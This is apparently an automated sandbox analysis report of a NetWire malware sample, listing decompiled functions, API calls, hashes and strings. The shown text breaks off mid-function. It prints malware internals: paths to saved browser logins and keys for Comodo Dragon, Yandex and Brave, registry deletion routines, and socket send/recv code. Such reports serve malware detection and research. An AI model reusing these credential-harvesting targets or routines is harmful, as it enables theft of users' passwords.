Opcode Fuzzy Hash: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction Fuzzy Hash: 4311A2B05087409EE710EF25C59875BBBE4BF85708F01881EF5D897291C3BA95898B87

Uniqueness

Uniqueness Score: -1.00%

Function 004089ED, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 40COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00408A77

Part of subcall function 00410803: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00408A27), ref: 00410830
Part of subcall function 00410803: RegDeleteValueA.ADVAPI32 ref: 0041084B
Part of subcall function 00410803: RegCloseKey.ADVAPI32 ref: 0041085E

Strings

SOFTWARE\, xrefs: 00408A84
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 00408A03
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56, xrefs: 00408A37
NetWire, xrefs: 00408A7C

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValuefclose
String ID: MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$NetWire$SOFTWARE\
API String ID: 3171391837-126448098
Opcode ID: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction ID: bb4ce6ad198e61c342c208a9868e2ee3a63cf1cfb8a338f91740164746fe8c6d
Opcode Fuzzy Hash: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction Fuzzy Hash: 1101B7B06087119AD700BF65D64526DBBE0AF40348F81C82FE4C86B286DBBD8485DB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0040F483, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F49D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F4C5

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F48F, 0040F4BE
%s\Comodo\Dragon\User Data\Default\Login Data, xrefs: 0040F4A2
%s\Comodo\Dragon\User Data\Local State, xrefs: 0040F4CA

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Comodo\Dragon\User Data\Default\Login Data$%s\Comodo\Dragon\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3697102118
Opcode ID: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction ID: d845c7456769ba672d696a4f857c2cede61afe7a33709c8199a018e4a54c7ca9
Opcode Fuzzy Hash: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction Fuzzy Hash: 4B011AB4408311AAC720BF26E54515EBFE0EF90798F51C83EE4D85B282C37C9599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F584, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F59E

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F5C6

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F590, 0040F5BF
%s\Yandex\YandexBrowser\User Data\Local State, xrefs: 0040F5CB
%s\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 0040F5A3

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Yandex\YandexBrowser\User Data\Default\Login Data$%s\Yandex\YandexBrowser\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3489194376
Opcode ID: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction ID: 72942ae6a08e2cc9bbddce61338429521d73e105c6a9dac996e77309fd9095c7
Opcode Fuzzy Hash: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction Fuzzy Hash: D7011AB0508351AAD710BF22E54515EBFE0AF81358F51C83EE0D86B282C37C8599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F67B, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F695

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F6BD

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F687, 0040F6B6
%s\BraveSoftware\Brave-Browser\User Data\Local State, xrefs: 0040F6C2
%s\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 0040F69A

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\BraveSoftware\Brave-Browser\User Data\Default\Login Data$%s\BraveSoftware\Brave-Browser\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-980708636
Opcode ID: fc2a22fba373fe480af829fa4f93533cae9eeeedbb52cd41ca872e91a74e92ad
Instruction ID: 8d0cb0fe6a7d44374a24ae0aebfd5b8dc36573b7fc8ec9374f5f00733d0f5b09
Opcode Fuzzy Hash: fc2a22fba373fe480af829fa4f93533cae9eeeedbb52cd41ca872e91a74e92ad
Instruction Fuzzy Hash: DF0108B5408311AAC720BF62E44515EBBE0AF80398F41C83EE4D867282C77C859ACB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00407E8C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00407E9F
fread.MSVCRT ref: 00407EC7
fclose.MSVCRT ref: 00407ED4
fclose.MSVCRT ref: 00407EDD

Strings

MZ, xrefs: 00407EE2

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclose$fopenfread
String ID: MZ
API String ID: 3873288765-2410715997
Opcode ID: d06aedc7c9e3b3293a92e1f957aa7035d759f161265d28a36525d5ec09abe733
Instruction ID: ae9e81fbcb7ca7b9316dc1c6fd5e5dd7cb62ebbbae1f2b5c39490275c7812f42
Opcode Fuzzy Hash: d06aedc7c9e3b3293a92e1f957aa7035d759f161265d28a36525d5ec09abe733
Instruction Fuzzy Hash: 81F0FEB55097419BDB00FFA6C5C515EB6E4AB44304F508C3EE49497281D778D8898B5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9B6, Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strncpy.MSVCRT ref: 0040EB64
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040EB74
strcmp.MSVCRT ref: 0040EB80

Strings

v10, xrefs: 0040EB69
0, xrefs: 0040ED3C

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmpstrcpystrncpy
String ID: 0$v10
API String ID: 2448526034-4171977742
Opcode ID: 462bf65ad2594f2168f17dfdeb5058b5c81af0c365ae975b7d05b17481ebe7e2
Instruction ID: 1815abc7d942603e6bf714ecb897f5d3e1623bfaa8687e7908f6a9e0f2ae8c78
Opcode Fuzzy Hash: 462bf65ad2594f2168f17dfdeb5058b5c81af0c365ae975b7d05b17481ebe7e2
Instruction Fuzzy Hash: 63B1BBB45093459FC750EF29C18469FBBE0FF88348F408D2EE4D897291E7B9D9898B46

Uniqueness

Uniqueness Score: -1.00%

Function 00408C65, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408C81
malloc.MSVCRT ref: 00408D36
malloc.MSVCRT ref: 00408D91

Strings

:, xrefs: 00408DFB
@, xrefs: 00408DEB

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID: :$@
API String ID: 2803490479-1367939426
Opcode ID: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction ID: ef4ad269280774ff2184a95f10acb59d81b6a7d54bd4368cac39de452cc0daf6
Opcode Fuzzy Hash: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction Fuzzy Hash: 975128B05087009FD310EF29D58425ABBE0FF88718F41892EF5D887291D7B8958ACF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040567B, Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 004056B5
recv.WS2_32 ref: 00405703
htons.WS2_32 ref: 00405774
send.WS2_32 ref: 004057B1
recv.WS2_32 ref: 004057DB

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: recvsend$htons
String ID:
API String ID: 2448738288-0
Opcode ID: 13adfa5ec2ebdb7ed79ded53f4b099e9918976a4c5f06ce693c8d3bcc2d3ec54
Instruction ID: a3ad6d79acf2e53900b9dd159f4be09f546f61b4e8b2614ee158af40ae1285e8
Opcode Fuzzy Hash: 13adfa5ec2ebdb7ed79ded53f4b099e9918976a4c5f06ce693c8d3bcc2d3ec54
Instruction Fuzzy Hash: 8A410BB141C7819AD710AF25C54939FBFE0AF94308F458D2EE4D897282D3B99688CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00410520, Relevance: 7.6, APIs: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410558
RegQueryValueExA.ADVAPI32 ref: 00410596
malloc.MSVCRT ref: 004105A9
RegQueryValueExA.ADVAPI32 ref: 004105D9
RegCloseKey.ADVAPI32 ref: 004105F8

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpenmalloc
String ID:
API String ID: 3087825141-0
Opcode ID: 3f55ee12f37df9633c9449e8ab3bbef419fc1eacaba22a8e78c85ad9c6febda2
Instruction ID: dddce03a098769392e7a375fb59deb789f7659c2eda9270703039da878427773
Opcode Fuzzy Hash: 3f55ee12f37df9633c9449e8ab3bbef419fc1eacaba22a8e78c85ad9c6febda2
Instruction Fuzzy Hash: EC21A3B05083019FD700EF29D58465BBBE4BF88748F00892EF8C893201E778DA888F86

Uniqueness

Uniqueness Score: -1.00%

Function 004156D4, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 289
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004156D4(void* __eax, void* __edx) {
				signed int _v32;
				signed char* _v36;
				unsigned int _v40;
				intOrPtr _v52;
				unsigned int _v56;
				signed int _t170;
				signed int _t179;
				signed int _t182;
				signed char _t189;
				unsigned int _t190;
				unsigned int _t196;
				void* _t197;
				signed int _t206;
				void* _t207;
				signed char* _t208;
				signed char _t210;
				signed int _t211;
				signed char _t212;
				signed int _t213;
				signed int _t218;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed char _t230;
				signed char _t233;
				signed int _t234;
				signed char _t235;
				signed char _t242;
				signed int _t245;
				signed int _t251;
				signed int _t253;
				signed int _t254;
				void* _t257;
				signed int _t263;
				void* _t267;
				signed int _t268;
				unsigned int _t274;
				void* _t275;
				char** _t276;

				_t207 = __eax;
				_t276 = _t275 - 0x2c;
				if(__edx == 0) {
					E00415079(__eax);
				} else {
					_t257 = __eax + 0x8f12;
					_t197 = 0;
					do {
						 *((char*)(_t257 + _t197)) = 8;
						_t197 = _t197 + 1;
					} while (_t197 != 0x90);
					do {
						 *((char*)(_t257 + _t197)) = 9;
						_t197 = _t197 + 1;
					} while (_t197 != 0x100);
					do {
						 *((char*)(_t257 + _t197)) = 7;
						_t197 = _t197 + 1;
					} while (_t197 != 0x118);
					do {
						 *((char*)(_t257 + _t197)) = 8;
						_t197 = _t197 + 1;
						_t283 = _t197 - 0x120;
					} while (_t197 != 0x120);
					_t267 = __eax + 0x9032;
					memset(_t267, 5, 0x20 << 0);
					_t276 =  &(_t276[3]);
					_t263 = _t267 + 0x20;
					_v56 = 1;
					 *_t276 = 0xf;
					E00414976(_t207, 0x120, 0, _t283);
					_v56 = 1;
					 *_t276 = 0xf;
					E00414976(_t207, 0x20, 1, _t283);
					_t242 =  *(_t207 + 0x44);
					 *(_t207 + 0x48) =  *(_t207 + 0x48) | 0x00000001 << _t242;
					 *(_t207 + 0x44) = _t242 + 2;
					while( *(_t207 + 0x44) > 7) {
						_t206 =  *(_t207 + 0x30);
						if(_t206 <  *((intOrPtr*)(_t207 + 0x34))) {
							 *(_t207 + 0x30) = _t206 + 1;
							 *_t206 =  *(_t207 + 0x48);
						}
						 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
						 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
					}
				}
				_t208 = _t207 + 0x9272;
				_t274 = 1;
				while(1) {
					__eflags = _t208 -  *((intOrPtr*)(_t207 + 0x28));
					if(_t208 >=  *((intOrPtr*)(_t207 + 0x28))) {
						goto L62;
					}
					__eflags = _t274 - 1;
					if(_t274 == 1) {
						_t189 =  *_t208 & 0x000000ff;
						_t208 =  &(_t208[1]);
						_t190 = _t189 | 0x00000001;
						__eflags = _t190;
						_t274 = _t190;
					}
					__eflags = _t274 & 0x00000001;
					_t245 =  *_t208 & 0x000000ff;
					if((_t274 & 0x00000001) == 0) {
						_t230 =  *((intOrPtr*)(_t207 + _t245 + 0x8f12));
						_v36 =  &(_t208[1]);
						__eflags = _t230;
						if(_t230 != 0) {
							_t182 =  *(_t207 + 0x8852 + _t245 * 2) & 0x0000ffff;
							_t245 = _t230 & 0x000000ff;
							_t263 = 1 << _t230;
							__eflags = _t182;
							if(_t182 <= 0) {
								_t233 =  *(_t207 + 0x44);
								 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t182 << _t233;
								_t234 = _t233 + _t245;
								__eflags = _t234;
								 *(_t207 + 0x44) = _t234;
								while(1) {
									__eflags =  *(_t207 + 0x44) - 7;
									if( *(_t207 + 0x44) <= 7) {
										goto L61;
									}
									_t253 =  *(_t207 + 0x30);
									__eflags = _t253 -  *((intOrPtr*)(_t207 + 0x34));
									if(_t253 <  *((intOrPtr*)(_t207 + 0x34))) {
										 *(_t207 + 0x30) = _t253 + 1;
										 *_t253 =  *(_t207 + 0x48);
									}
									 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
									 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
								}
							} else {
								_v52 = 0xc1b;
								goto L21;
							}
						} else {
							_v52 = 0xc1a;
							_v56 = 0x424620;
							 *_t276 = "d->m_huff_code_sizes[0][lit]";
							goto L22;
						}
					} else {
						_t268 =  *(_t245 + _t245 + 0x425440) & 0x0000ffff;
						_v40 = _t208[1] & 0x0000ffff;
						_t235 =  *((intOrPtr*)(_t207 + _t268 + 0x8f12));
						_v36 =  &(_t208[3]);
						__eflags = _t235;
						if(_t235 != 0) {
							_t268 =  *(_t207 + 0x8852 + _t268 * 2) & 0x0000ffff;
							_t263 = _t235 & 0x000000ff;
							__eflags = _t268 - (1 << _t235) - 1;
							if(_t268 > (1 << _t235) - 1) {
								_v52 = 0xc0b;
								L21:
								_v56 = 0x424620;
								 *_t276 = "bits <= ((1U << len) - 1U)";
								goto L22;
							}
						} else {
							_v52 = 0xc09;
							_v56 = 0x424620;
							 *_t276 = "d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]";
							L22:
							L0041F7E4();
						}
						_t212 =  *(_t207 + 0x44);
						 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t268 << _t212;
						_t213 = _t212 + _t263;
						__eflags = _t213;
						 *(_t207 + 0x44) = _t213;
						while(1) {
							_t263 =  *(_t207 + 0x44);
							__eflags = _t263 - 7;
							if(_t263 <= 7) {
								break;
							}
							_t229 =  *(_t207 + 0x30);
							__eflags = _t229 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t229 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t229 + 1;
								 *_t229 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						_t268 =  *(_t245 + 0x425340) & 0x000000ff;
						_t245 = _t245 &  *(0x424de0 + _t268 * 4);
						__eflags = _t245 - (1 << _t268) - 1;
						if(_t245 > (1 << _t268) - 1) {
							_v52 = 0xc0d;
							goto L21;
						}
						_t61 = _t207 + 0x48;
						 *_t61 =  *(_t207 + 0x48) | _t245 << _t263;
						__eflags =  *_t61;
						 *(_t207 + 0x44) = _t268 + _t263;
						while(1) {
							_t268 =  *(_t207 + 0x44);
							__eflags = _t268 - 7;
							if(_t268 <= 7) {
								break;
							}
							_t228 =  *(_t207 + 0x30);
							__eflags = _t228 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t228 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t228 + 1;
								 *_t228 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						__eflags = _v40 - 0x1ff;
						if(_v40 > 0x1ff) {
							_t251 = _v40 >> 8;
							__eflags = _t251;
							_t79 = _t251 + 0x424ec0; // 0x7070707
							_t218 =  *_t79 & 0x000000ff;
							_t80 = _t251 + 0x424e40; // 0x7070706
							_t245 =  *_t80 & 0x000000ff;
						} else {
							_t196 = _v40;
							_t76 = _t196 + 0x425140; // 0x11
							_t218 =  *_t76 & 0x000000ff;
							_t77 = _t196 + 0x424f40; // 0x2010007
							_t245 =  *_t77 & 0x000000ff;
						}
						_t263 =  *(_t207 + 0x8a92 + _t218 * 2) & 0x0000ffff;
						_v32 =  *(_t207 + _t218 + 0x9032) & 0x000000ff;
						__eflags = _t263 - (1 << _v32) - 1;
						if(_t263 > (1 << _v32) - 1) {
							_v52 = 0xc16;
							goto L21;
						}
						_t90 = _t207 + 0x48;
						 *_t90 =  *(_t207 + 0x48) | _t263 << _t268;
						__eflags =  *_t90;
						 *(_t207 + 0x44) = _t268 + _v32;
						while(1) {
							_t268 =  *(_t207 + 0x44);
							__eflags = _t268 - 7;
							if(_t268 <= 7) {
								break;
							}
							_t227 =  *(_t207 + 0x30);
							__eflags = _t227 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t227 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t227 + 1;
								 *_t227 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
						_t179 = _v40 &  *(0x424de0 + _t245 * 4);
						_t263 = 1 << _t245;
						__eflags = _t179;
						if(_t179 > 0) {
							_v52 = 0xc17;
							goto L21;
						}
						_t107 = _t207 + 0x48;
						 *_t107 =  *(_t207 + 0x48) | _t179 << _t268;
						__eflags =  *_t107;
						 *(_t207 + 0x44) = _t245 + _t268;
						while(1) {
							__eflags =  *(_t207 + 0x44) - 7;
							if( *(_t207 + 0x44) <= 7) {
								goto L61;
							}
							_t254 =  *(_t207 + 0x30);
							__eflags = _t254 -  *((intOrPtr*)(_t207 + 0x34));
							if(_t254 <  *((intOrPtr*)(_t207 + 0x34))) {
								 *(_t207 + 0x30) = _t254 + 1;
								 *_t254 =  *(_t207 + 0x48);
							}
							 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
							 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
						}
					}
					L61:
					_t274 = _t274 >> 1;
					_t208 = _v36;
					continue;
					L62:
					_t268 =  *(_t207 + 0x9012) & 0x000000ff;
					_t245 =  *(_t207 + 0x8a52) & 0x0000ffff;
					__eflags = _t245 - (1 << _t268) - 1;
					if(_t245 > (1 << _t268) - 1) {
						_v52 = 0xc1f;
						goto L21;
					}
					_t210 =  *(_t207 + 0x44);
					 *(_t207 + 0x48) =  *(_t207 + 0x48) | _t245 << _t210;
					_t211 = _t210 + _t268;
					__eflags = _t211;
					 *(_t207 + 0x44) = _t211;
					while(1) {
						__eflags =  *(_t207 + 0x44) - 7;
						_t170 =  *(_t207 + 0x30);
						if( *(_t207 + 0x44) <= 7) {
							break;
						}
						__eflags = _t170 -  *((intOrPtr*)(_t207 + 0x34));
						if(_t170 <  *((intOrPtr*)(_t207 + 0x34))) {
							 *(_t207 + 0x30) = _t170 + 1;
							 *_t170 =  *(_t207 + 0x48);
						}
						 *(_t207 + 0x48) =  *(_t207 + 0x48) >> 8;
						 *(_t207 + 0x44) =  *(_t207 + 0x44) - 8;
					}
					__eflags = _t170 -  *((intOrPtr*)(_t207 + 0x34));
					_t164 = _t170 -  *((intOrPtr*)(_t207 + 0x34)) > 0;
					__eflags = _t164;
					return (_t170 & 0xffffff00 | _t164) & 0x000000ff;
				}
			}

APIs

_assert.MSVCRT ref: 00415842

Strings

d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]], xrefs: 00415809
bits <= ((1U << len) - 1U), xrefs: 0041583B
d->m_huff_code_sizes[0][lit], xrefs: 004159E8

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$d->m_huff_code_sizes[0][lit]$d->m_huff_code_sizes[0][s_tdefl_len_sym[match_len]]
API String ID: 1222420520-3917244286
Opcode ID: b365e1a91a629f8d5d0a6539e6d1db4ee13a3ce192b39cc27d36e14ed0313d0d
Instruction ID: 02c501d629119b96732dab3827091775e2cd41ca3c12195cf54572b6c693842a
Opcode Fuzzy Hash: b365e1a91a629f8d5d0a6539e6d1db4ee13a3ce192b39cc27d36e14ed0313d0d
Instruction Fuzzy Hash: A8C18B70508620CBDB18DF28C0C06E97BA1EF81304F58869ADC958F34AE77AD8C9CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E557, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041E557(signed int __ecx, char* _a4, intOrPtr _a8) {
				char _v552;
				signed int _v556;
				char _v560;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v590;
				char _v600;
				char _v604;
				char* _v608;
				char* _v612;
				char _v616;
				int _v620;
				signed int _v624;
				char _v628;
				char* _v652;
				signed int _v656;
				char* _v660;
				signed int _v664;
				signed int _t111;
				signed int _t112;
				char _t114;
				void* _t118;
				char* _t124;
				signed int _t126;
				signed int _t127;
				void* _t131;
				char _t133;
				char _t140;
				char _t151;
				char* _t157;
				void* _t160;
				signed int _t163;
				char _t165;
				signed int _t167;
				char _t169;
				signed int _t173;
				char _t174;
				void* _t184;
				char* _t187;
				intOrPtr _t188;
				char _t189;

				_t191 =  &_v652;
				_t187 = _a4;
				_t188 = _a8;
				if(_t187 == 0) {
					L24:
					_t112 = _t111 | 0xffffffff;
					__eflags = _t112;
					return _t112;
				}
				_t3 =  &_v620;
				 *_t3 = _t188 == 0;
				if( *_t3 == 0) {
					goto L24;
				}
				_t111 = _v620;
				asm("repne scasb");
				_t157 =  !(__ecx | 0xffffffff) - 1;
				_v612 = _t157;
				if(_t157 == 0) {
					goto L24;
				}
				_t111 = E004162D5(_t188, _t157);
				_t187[0x5c] = _t111;
				if(_t111 == 0) {
					goto L24;
				}
				_t151 = _t187[0x14];
				if(_t151 != 1) {
					_t114 =  *_t187;
					_t169 = _t187[4];
					_t189 = _t187[0x10];
					_t187[0x68] = 0;
					_t187[0x6c] = 0;
					_t187[0x60] = 0;
					_t187[0x78] = _t114;
					_t187[0x7c] = _t169;
					_t187[0xa0] = _t114;
					_t187[0xa4] = _t169;
					_v628 = _t114;
					_v624 = _t169;
					_t187[0x58] = _t189;
					_t187[0x64] = 0;
					_t187[0x70] = 0;
					memset( &(_t187[0x80]), _v620, 0x1e << 0);
					_t191 =  &(( &_v652)[3]);
					_t187[0xa8] = 0;
					_t187[0x4e008] = 0;
					_t118 = E0041493A(_t187);
					__eflags = _t187[0x48];
					_t160 = _t118;
					if(_t187[0x48] == 0) {
						L22:
						_t111 = _t187[0x5c];
						__eflags = _t111;
						if(_t111 != 0) {
							 *_t191 = _t111;
							free(??);
							_t187[0x5c] = 0;
						}
						goto L24;
					}
					__eflags = _t151 - 2;
					if(_t151 != 2) {
						goto L22;
					}
					__eflags = _t187[0x51] & 0x00000004;
					if((_t187[0x51] & 0x00000004) != 0) {
						goto L22;
					}
					__eflags = _t189 - 0xffff;
					if(_t189 == 0xffff) {
						goto L22;
					}
					_t184 = _t118;
					_v616 = 0;
					_v620 = _v612;
					asm("adc edx, 0x0");
					asm("adc edx, [esp+0x34]");
					asm("adc edx, ebp");
					__eflags = _v624;
					if(__eflags > 0) {
						goto L22;
					}
					_t66 = _t160 + 0x1e; // 0x1e
					_t124 = _t66;
					_v608 = _t124;
					 *_t191 = _t124;
					_t126 = E00414DC1(_t187, _v624, _v628, __eflags);
					__eflags = _t126;
					if(_t126 == 0) {
						goto L22;
					}
					_t173 = _t187[0x24];
					_t163 = _t184 + _t187[0xa0];
					_t127 = _t187[0x20];
					asm("adc ebx, [esi+0xa4]");
					__eflags = _t173 | _t127;
					_t187[0xa0] = _t163;
					_t187[0xa4] = 0;
					if((_t173 | _t127) != 0) {
						asm("adc edx, 0xffffffff");
						__eflags = _t173 & 0 | _t127 + 0xffffffff & _t163;
						if((_t173 & 0 | _t127 + 0xffffffff & _t163) != 0) {
							_v660 = 0x147;
							_v664 = 0x4249cc;
							 *_t191 = "(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0";
							L0041F7E4();
						}
					}
					_t165 =  &(_v608[_t187[0x78]]);
					asm("adc ebx, [esi+0x7c]");
					_t187[0x78] = _t165;
					_t187[0x7c] = 0;
					_v652 = _v612;
					_v664 = _t165;
					_v660 = 0;
					_v656 = _t187[0x5c];
					 *_t191 = _t187[0x44];
					_t131 = _t187[0x3c]();
					__eflags = _v612 - _t131;
					if(_v612 != _t131) {
						goto L22;
					} else {
						_t133 = _v620 + _t187[0x78];
						_t174 = _v616;
						asm("adc edx, [esi+0x7c]");
						_t167 = _t187[0x50] & 0x0000000f;
						__eflags = _t167;
						_t187[0x78] = _t133;
						_t187[0x7c] = _t174;
						if(_t167 != 0) {
							_t187[0xbc] = _t174;
							_t187[0xb0] = _t187;
							_t187[0xb8] = _t133;
							_t187[0xc0] = 0;
							_t187[0xc4] = 0;
							 *_t191 = _t167;
							_v660 = 0;
							_v664 = 0xfffffff1;
							_v656 = E0041A99E();
							_v664 = E00416018;
							_v660 =  &(_t187[0xb0]);
							 *_t191 =  &(_t187[0xc8]);
							_t133 = E0041A64C();
							__eflags = _t133;
							if(_t133 == 0) {
								goto L19;
							}
							goto L22;
						}
						L19:
						 *_t191 = 0;
						L0041F6BC();
						L20:
						_t187[0x4e00c] = _t133;
						return 0;
					}
				}
				_v656 = 0;
				_v660 = 0;
				_v664 = _t111;
				 *_t191 = _t187;
				_t140 = E0041B6F9(_t111, _t157);
				_t187[0x58] = _t140;
				if(_t140 < 0) {
					goto L22;
				}
				_v664 = _t140;
				 *_t191 = _t187;
				_v660 =  &_v604;
				if(E0041B06A() == 0) {
					goto L22;
				} else {
					_t187[0x7c] = 0;
					_t187[0x68] = _v580;
					_t187[0x6c] = _v576;
					_t187[0x60] = _v572;
					_t187[0x64] = _v568;
					_t187[0x70] = _v584;
					_t187[0xa4] = _v552;
					_t187[0x78] = _v600;
					_t187[0xa0] = _v556;
					_t187[0xa8] = _v590;
